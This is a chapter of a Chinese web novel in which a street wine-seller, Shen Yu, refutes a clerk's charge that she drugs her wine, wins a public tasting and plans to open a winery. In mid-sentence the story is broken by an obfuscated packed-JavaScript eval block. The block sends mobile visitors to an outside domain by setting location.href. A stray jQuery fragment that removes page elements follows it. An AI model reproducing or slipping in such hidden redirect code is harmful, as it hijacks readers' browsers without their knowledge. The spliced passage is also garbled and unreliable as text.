初夏的晨风带着几分黏意,街头巷尾氤氲着湿润的气息。街角的摊子多还未支起,唯有沈钰的摊位前,已围了三四人。
站在最前头的,是位年约五旬的汉子,头上裹着一方灰布巾,衣袖微卷,手里拎着一只旧陶壶,壶身还残留着她家的封绳。
“姑娘,前儿那酒还有没?我侄儿婚宴上想摆你家的花酿。”他说话嗓门不大,但语气里透着殷切。
沈钰正俯身打包,一听这话,微笑着抬起头,语气轻快:“婚宴讲究酒香持久,若您不嫌弃,我从陈酿里挑一坛,给您亲自送上门。”
说话间,沈钰将几壶新酒摆上摊面。酒壶以素白陶釉烧制,壶口封泥未干,壶身系着细细的红绳。
这批花酿是她昨日开坛的,今日有不少客人特意绕路赶来。
“沈姑娘的酒,怕不是用了什么仙法吧?”人群中有人打趣。
“可不是,我爹都说,她家的酒比起那些大店口味还好不少呢。”
人群中你一言我一语,气氛显得十分热络。
沈钰嘴角一勾,没理会众人的打趣,她将点心递出,目光却悄然扫向摊后角落。
那里站着一名身形消瘦、衣着干净却神情游移的中年男子。他站得不远不近,神情沉静却显游移,不说话,也不买酒,只一遍遍盯着她案上的几壶新酒。
更叫人在意的,是他几次试图靠近沈钰摆在桌角的小账册,却在她抬眸时迅速收回视线。
沈钰心中已有定数,动作未停,只是将酒壶一一重新封好,拎进竹篮中。
她俯身凑近刘婉,小声道:“姐,今日别让巧巧乱跑了,街上不安生。”
刘婉正在包最后一壶酒,闻言愣了一下,抬头望她,见沈钰眉宇间已无往日从容,反倒多了几分冷静下的绷紧。
刘婉正将一壶酒包好,闻言抬头,见她眉眼间隐了几分凝重,也不由紧了紧神色:“出事了?”
“有人盯上咱们了。”沈钰没有再多解释,只将摊前几件要紧物品收整妥当,留神观察着人群动静。
刘婉心中虽不安,但终究信她主意稳妥,没再追问,只是强打精神继续招呼客人,笑意已明显有些勉强。
果不其然,不到辰时末,街头鼓声一响,县署的差役便到了。
为首的小吏身着青灰官袍,个子不高,面目精干,嘴角微微下撇,一看就是那种鸡蛋里挑骨头的主。他身后跟着两名身材高大的牙差,手执短棍,一入市集,便直奔沈钰的摊前。
“谁是沈钰?”来人语气不善。
沈钰早有预料。
她站起身,神色平静:“我是。”
小吏打量了她几眼,嘴角勾起一抹刻意的威严:“本官奉命前来查实,有人举报你售酒非法,疑似掺入迷香等诱醉物,扰乱市井秩序。现需封存你所售酒水,带回县署查验。”
话音一落,周围人纷纷驻足,议论声四起。
“胡说八道!我喝了她家的酒半个月了,咋没见迷倒谁?”
“沈姑娘一向谨慎,她酒里掺那种东西?笑话!”
“十有八九是有人嫉妒。”
沈钰的声音不高,却透着一股干净利落的笃定:“大人若要查,自可查。但按律,民酿售酒若涉举报,须先核配方、后试饮、再定存封。不知贵署,可带了县中定法笔录与试酒册来?”
小吏一噎,显然没料到她懂这些流程。
“你……你一个卖酒的,倒背得清。这不用你操心,自然是合规查办。”
自上次被罚后,沈钰便回去细读律典,将本朝关于酒品买卖的章程背得滚瓜烂熟。
沈钰微微一笑,从篮中取出一封油纸封的薄册:“这是我每批酒的曲方、草料记录,原料均采自本地山花、桂露,无半分香粉。若大人信不过,我也备了小样。大人也可随我回家中取得酒样。”
说罢,她当众倒出少许花酿,亲口试饮,神情自若:“我命不硬,断不敢拿性命赌生意。若真有异样,大人尽可查。”
周围顷刻安静。
那小吏脸色难看,嘴唇翕动,却被她步步压制,不知如何开口。
“本官不通酒理。”他冷笑,“但你这酒香色太盛,极不寻常。县令若问起,你拿什么自证清白?”
沈钰坦然道:“我每日售酒皆有账目可查。大人若不信,便带我回县署当堂试酒。若真查出半分不妥,我愿弃业伏罪。”
人群顿时炸开了锅。
“这姑娘敢当场立誓,定然没假!”
“她要是掺香粉,那我们天天喝的岂不是都要进号房?”
“不过也说不准,我家里那口子,自从喝过她酿的酒,就再喝不进别家的了,谁知道她有没有在酒里下药。”
官差一时被沈钰从容不迫的态度惹的拉不下脸,但他们本就是接了上头的意思,来给沈钰使绊子,不会轻易放过她。
“沈姑娘,既然如此,那就麻烦你和我们走一趟吧。若真有问题,别怪我们不客气了。”
沈钰行礼:“大人,请吧。”
县署大堂。
青砖铺地,屋顶高挑,两侧燃着淡淡檀香,几道阳光从格窗里洒入,投在灰青石板上。沈钰跟着几人入内,一路无声。
待进堂后,那位小吏吩咐左右备水、抬来木桌,又取来几只空瓷杯,语气不善道:“你既敢当街叫板,那便照你说的,当堂试酒。”
“可有旁人作证?”沈钰扫了一眼四周,“查酒本非大事,既牵扯民信,自当公开。”
小吏冷哼一声:“自然有。”随即吩咐一名衙役道,“去街口请酒行的李掌柜、陈老五,还有‘万安堂’的曹掌来作证。”
不多时,三人陆续进堂。
李掌柜是县中老字号酒铺的主事,常年操酒,鼻子极灵;陈老五则是制酒世家的闲人,专门替人看曲评酒;而曹掌柜乃药铺出身,对气味尤其敏感。
“几位,”小吏手一抬,“眼前这女子所售酒水,有人举报掺入迷香之类诱醉物。今日请三位到场,一为品鉴酒液,二为公证真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763922|174503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伪。”
“自然。”曹掌柜抚须点头,“公事在前,老朽自当分辨。”
沈钰将篮子放上案头,取出两只小瓷瓶,她亲手启封,倒入三只瓷盏中,酒液清澈泛光。
“诸位请。”她淡淡开口。
三人先后上前,曹掌柜凑近一嗅,微微挑眉,又举盏轻啜一口,抿在唇齿之间,喉头动了动,良久才慢悠悠地放下。
“这酒香气馥郁,确非香粉。所用者应为花香自然发酵而出。若真是‘迷香’,老夫一闻便能察觉。”
陈老五早拿起另两杯,对着光看色,低声嘟囔:“酒体净润、澄亮如蜜……这法子我认得,好像早年某位酿酒店大家的手法。”
“老陈说得没错。”李掌柜将小册子翻看两页,叹道,“这姑娘手艺讲究,曲方与花料搭得准,且日子火候都记得清清楚楚。能做出这酒,怕不只是普通摊贩。”
小吏脸色青白交错,站在原地,像是想说什么,却几次张口无果。
“这酒不假。”曹掌柜放下酒盏,环视四周,“且姑娘不避堂试,文案俱全,未有逃避之态,旁人可无妄言。”
“县署若真要问此酒虚实,不如去问那些胡乱举报之人。”
“是啊,”陈老五点头,“这姑娘既能开口说试酒,又自饮,说明心里没鬼。若说掺香,那这年头真酒都没人敢喝了。”
听得众人言语,大堂内众目皆转向沈钰,她却神情依旧,只低头整理桌面,将封泥与小瓷壶一一收妥。
小吏咳了一声,还想再找台阶下,却听那曹掌柜再道:“若无实据,此番传唤本就有失公允。若我等未到,岂不冤了这姑娘?”
堂下一片附和。
站在角落的两个牙差对视一眼,显然也有些尴尬。
一名年长衙役凑近,小声道:“头儿,恐怕这事……不好硬扯了。”
小吏脸色难看,指节已攥得发白,良久才冷冷道:“既然诸位都说没问题,那今日就此作罢。但你记着,若改日真出了事,本官必不留情!”
沈钰朝他盈盈一礼,声音清朗:“多谢大人公断。贱民求生,最怕不明不白。若能照章行事,自也愿配合到底。”
出了县署天已过午,日头正烈。
刘婉正守在门前,一见她安然归来,心头才落下大半:“他们可有难为你?”
沈钰摇摇头,从袖中抽出被盖了印章的登记回执:“反倒是让我回去再补个临时摊贩报备。”
“可你不是已经有酒引了?怎么还?”
“呵,上头的人想要整你,哪管这些,”沈钰望向街口人来人往,语气平静中透着野心,“若要把我家的酒水生意做大,光靠一个摊子可不够。”
沈钰摸了摸袖中那本草料册,像是下定了决心:
“得开一间正式的酒坊了。”
刘婉瞪大眼:“你是说……要有个招牌?门面?那得花不少银子呢。”
“先不急。”沈钰笑道,“我得先把账算清楚,再找合适的铺面。”